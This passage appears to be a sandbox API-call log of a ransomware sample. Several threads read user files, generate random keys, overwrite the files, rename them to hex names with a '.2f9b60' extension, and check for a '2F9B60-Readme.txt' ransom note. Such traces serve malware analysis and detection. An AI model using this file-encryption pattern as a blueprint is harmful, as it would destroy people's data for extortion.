Flags=0x0, BaseAddress=0x1ce779b0) returned 1 [0102.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce6c580) returned 1 [0102.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20260980 [0102.895] SetFilePointerEx (in: hFile=0x1624, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0102.895] WriteFile (in: hFile=0x1624, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2ec9f830, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x2ec9f830*=0x108, lpOverlapped=0x0) returned 1 [0103.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0103.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0103.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0103.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260aa0) returned 1 [0103.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0103.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0103.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b00 [0103.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b00) returned 1 [0103.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0103.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0103.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f670 [0103.361] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="62") returned 2 [0103.361] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="c9") returned 2 [0103.361] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="14") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="c7") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="e3") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="66") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="d5") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="f0") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="33") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="5e") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="0a") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="91") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="76") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="97") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="16") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="9a") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="a1") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="cd") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="13") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="3f") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f698, _Format="%c%c" | out: _Dest="f7") returned 2 [0103.362] sprintf (in: _Dest=0x1cd9f69a, _Format="%c%c" | out: _Dest="9c") returned 2 [0103.362] RtlInitAnsiString (in: DestinationString=0x2ec9f8a8, SourceString="62c914c7e366d5f0335e0a917697169aa1cd133ff79c" | out: DestinationString="62c914c7e366d5f0335e0a917697169aa1cd133ff79c") [0103.362] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ec9f878, SourceString="62c914c7e366d5f0335e0a917697169aa1cd133ff79c", AllocateDestinationString=1 | out: DestinationString="62c914c7e366d5f0335e0a917697169aa1cd133ff79c") returned 0x0 [0103.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced5780 [0103.363] wcscat (in: _Dest=0x202affa0, _Source="62c914c7e36" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\62c914c7e36") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\62c914c7e36" [0103.363] wcscat (in: _Dest=0x202affa0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\62c914c7e36.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\62c914c7e36.2f9b60" [0103.363] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\62c914c7e36.2f9b60", NtPathName=0x2ec9f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\62c914c7e36.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ada20 [0104.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ada20) returned 1 [0104.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053000) returned 1 [0104.513] NtQueryInformationFile (in: FileHandle=0x1624, IoStatusBlock=0x2ec9f8b8, FileInformation=0x2ec9f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ec9f8b8, FileInformation=0x2ec9f8c8) returned 0x0 [0104.513] NtSetInformationFile (FileHandle=0x1624, IoStatusBlock=0x2ec9f8b8, FileInformation=0x2ec9f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202affa0) returned 1 [0104.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5780) returned 1 [0104.514] FlushFileBuffers (hFile=0x1624) returned 1 [0104.804] CloseHandle (hObject=0x1624) returned 1 [0104.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4890 [0104.995] wcscpy (in: _Dest=0x202a4890, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.995] wcscat (in: _Dest=0x202a4890, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.995] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4890) returned 1 [0104.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 Thread: id = 928 os_tid = 0x1528 [0101.200] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G3NLXgguAfwzgm.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g3nlxgguafwzgm.flv")) returned 0x2020 [0101.201] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G3NLXgguAfwzgm.flv", dwFileAttributes=0x20) returned 1 [0102.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G3NLXgguAfwzgm.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g3nlxgguafwzgm.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1684 [0102.789] GetFileSizeEx (in: hFile=0x1684, lpFileSize=0x2ef0f7a0 | out: lpFileSize=0x2ef0f7a0*=38334) returned 1 [0102.789] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x95ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.789] ReadFile (in: hFile=0x1684, lpBuffer=0x2ef0f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ef0f768, lpOverlapped=0x0 | out: lpBuffer=0x2ef0f720*, lpNumberOfBytesRead=0x2ef0f768*=0x4, lpOverlapped=0x0) returned 1 [0102.790] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0102.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0102.790] NtQuerySystemTime (in: CurrentTime=0x2ef0f660 | out: CurrentTime=0x2ef0f660*=132462177083182000) returned 0x0 [0102.790] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x61572eb4 [0102.790] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x67c024c1 [0102.790] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x2d76b2ff [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x4523d7e6 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x13e855ec [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x5acccd33 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x9d09744 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x5b820a2a [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x4d3fc111 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x201b6b73 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x4e58120d [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x28ae979c [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x72e35140 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x22b401d9 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x3d8722a3 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x68c5089 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x1e07f430 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x4944b60a [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0xef51321 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x529dd123 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x3782d02f [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x2c4440b3 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x9d09744 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x4f555cfa [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x4f969b4b [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x44b05e43 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x7343a849 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x30ca34b5 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x2111108 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x2527b342 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x6c880901 [0102.791] RtlRandomEx (in: Seed=0x2ef0f650 | out: Seed=0x2ef0f650) returned 0x5436fe6 [0102.799] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.799] ReadFile (in: hFile=0x1684, lpBuffer=0x20446ac0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ef0f6c0, lpOverlapped=0x0 | out: lpBuffer=0x20446ac0*, lpNumberOfBytesRead=0x2ef0f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.799] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0102.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0102.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b70) returned 1 [0102.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20442eb0 [0102.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0102.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0102.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0102.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0102.800] WriteFile (in: hFile=0x1684, lpBuffer=0x20442eb0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ef0f6c0, lpOverlapped=0x0 | out: lpBuffer=0x20442eb0*, lpNumberOfBytesWritten=0x2ef0f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20442eb0) returned 1 [0104.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20446ac0) returned 1 [0104.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f630 [0104.807] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.807] WriteFile (in: hFile=0x1684, lpBuffer=0x4205a650*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2ef0f770, lpOverlapped=0x0 | out: lpBuffer=0x4205a650*, lpNumberOfBytesWritten=0x2ef0f770*=0x116, lpOverlapped=0x0) returned 1 [0105.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0105.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0105.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0105.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632c0) returned 1 [0105.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202632c0 [0105.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263380 [0105.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0105.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605c0) returned 1 [0105.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0105.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0105.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9c2b0 [0105.118] sprintf (in: _Dest=0x1cd9c2b0, _Format="%c%c" | out: _Dest="32") returned 2 [0105.118] sprintf (in: _Dest=0x1cd9c2b2, _Format="%c%c" | out: _Dest="c1") returned 2 [0105.118] sprintf (in: _Dest=0x1cd9c2b4, _Format="%c%c" | out: _Dest="41") returned 2 [0105.118] sprintf (in: _Dest=0x1cd9c2b6, _Format="%c%c" | out: _Dest="ec") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2b8, _Format="%c%c" | out: _Dest="e1") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2ba, _Format="%c%c" | out: _Dest="3c") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2bc, _Format="%c%c" | out: _Dest="f1") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2be, _Format="%c%c" | out: _Dest="80") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2c0, _Format="%c%c" | out: _Dest="3e") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2c2, _Format="%c%c" | out: _Dest="45") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2c4, _Format="%c%c" | out: _Dest="49") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2c6, _Format="%c%c" | out: _Dest="f4") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2c8, _Format="%c%c" | out: _Dest="39") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2ca, _Format="%c%c" | out: _Dest="fa") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2cc, _Format="%c%c" | out: _Dest="b7") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2ce, _Format="%c%c" | out: _Dest="84") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2d0, _Format="%c%c" | out: _Dest="0b") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2d2, _Format="%c%c" | out: _Dest="84") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2d4, _Format="%c%c" | out: _Dest="ef") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2d6, _Format="%c%c" | out: _Dest="73") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2d8, _Format="%c%c" | out: _Dest="68") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2da, _Format="%c%c" | out: _Dest="d0") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2dc, _Format="%c%c" | out: _Dest="f4") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2de, _Format="%c%c" | out: _Dest="bc") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2e0, _Format="%c%c" | out: _Dest="d6") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2e2, _Format="%c%c" | out: _Dest="fb") returned 2 [0105.119] sprintf (in: _Dest=0x1cd9c2e4, _Format="%c%c" | out: _Dest="3d") returned 2 [0105.120] sprintf (in: _Dest=0x1cd9c2e6, _Format="%c%c" | out: _Dest="2a") returned 2 [0105.120] sprintf (in: _Dest=0x1cd9c2e8, _Format="%c%c" | out: _Dest="10") returned 2 [0105.120] sprintf (in: _Dest=0x1cd9c2ea, _Format="%c%c" | out: _Dest="40") returned 2 [0105.120] sprintf (in: _Dest=0x1cd9c2ec, _Format="%c%c" | out: _Dest="2c") returned 2 [0105.120] sprintf (in: _Dest=0x1cd9c2ee, _Format="%c%c" | out: _Dest="2e") returned 2 [0105.120] sprintf (in: _Dest=0x1cd9c2f0, _Format="%c%c" | out: _Dest="34") returned 2 [0105.120] sprintf (in: _Dest=0x1cd9c2f2, _Format="%c%c" | out: _Dest="13") returned 2 [0105.120] sprintf (in: _Dest=0x1cd9c2f4, _Format="%c%c" | out: _Dest="2c") returned 2 [0105.120] sprintf (in: _Dest=0x1cd9c2f6, _Format="%c%c" | out: _Dest="90") returned 2 [0105.120] RtlInitAnsiString (in: DestinationString=0x2ef0f7e8, SourceString="32c141ece13cf1803e4549f439fab7840b84ef7368d0f4bcd6fb3d2a10402c2e34132c90" | out: DestinationString="32c141ece13cf1803e4549f439fab7840b84ef7368d0f4bcd6fb3d2a10402c2e34132c90") [0105.120] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ef0f7b8, SourceString="32c141ece13cf1803e4549f439fab7840b84ef7368d0f4bcd6fb3d2a10402c2e34132c90", AllocateDestinationString=1 | out: DestinationString="32c141ece13cf1803e4549f439fab7840b84ef7368d0f4bcd6fb3d2a10402c2e34132c90") returned 0x0 [0105.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x204ff690 [0105.120] wcscat (in: _Dest=0x204ff730, _Source="32c141ece13cf1803e" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\32c141ece13cf1803e") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\32c141ece13cf1803e" [0105.120] wcscat (in: _Dest=0x204ff730, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\32c141ece13cf1803e.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\32c141ece13cf1803e.2f9b60" [0105.120] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\32c141ece13cf1803e.2f9b60", NtPathName=0x2ef0f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\32c141ece13cf1803e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20278ef0 [0106.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278ef0) returned 1 [0106.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecea40) returned 1 [0106.875] NtQueryInformationFile (in: FileHandle=0x1684, IoStatusBlock=0x2ef0f7f8, FileInformation=0x2ef0f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ef0f7f8, FileInformation=0x2ef0f808) returned 0x0 [0106.875] NtSetInformationFile (FileHandle=0x1684, IoStatusBlock=0x2ef0f7f8, FileInformation=0x2ef0f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff730) returned 1 [0106.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff690) returned 1 [0106.877] FlushFileBuffers (hFile=0x1684) returned 1 [0106.924] CloseHandle (hObject=0x1684) returned 1 [0107.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x20509690 [0107.152] wcscpy (in: _Dest=0x20509690, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0107.152] wcscat (in: _Dest=0x20509690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0107.153] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0107.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509690) returned 1 [0107.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4b60) returned 1 Thread: id = 929 os_tid = 0x152c [0101.202] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hYhcLcB.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hyhclcb.gif")) returned 0x2020 [0101.202] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hYhcLcB.gif", dwFileAttributes=0x20) returned 1 [0102.880] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hYhcLcB.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hyhclcb.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1654 [0102.881] GetFileSizeEx (in: hFile=0x1654, lpFileSize=0x2eb8f7a0 | out: lpFileSize=0x2eb8f7a0*=49151) returned 1 [0102.881] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0xbffb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.881] ReadFile (in: hFile=0x1654, lpBuffer=0x2eb8f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2eb8f768, lpOverlapped=0x0 | out: lpBuffer=0x2eb8f720*, lpNumberOfBytesRead=0x2eb8f768*=0x4, lpOverlapped=0x0) returned 1 [0102.882] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261070 [0102.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263590 [0102.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0102.882] NtQuerySystemTime (in: CurrentTime=0x2eb8f660 | out: CurrentTime=0x2eb8f660*=132462177083962000) returned 0x0 [0102.882] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x660775b9 [0102.882] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x60fde549 [0102.882] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x62c81bfc [0102.882] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x6e77331a [0102.882] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x7229bc84 [0102.882] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x75331ade [0102.882] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x11b00665 [0102.882] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x1b4ed98e [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x2e2aa0b0 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x2959a321 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x161a202e [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x7b1a4c20 [0102.883] 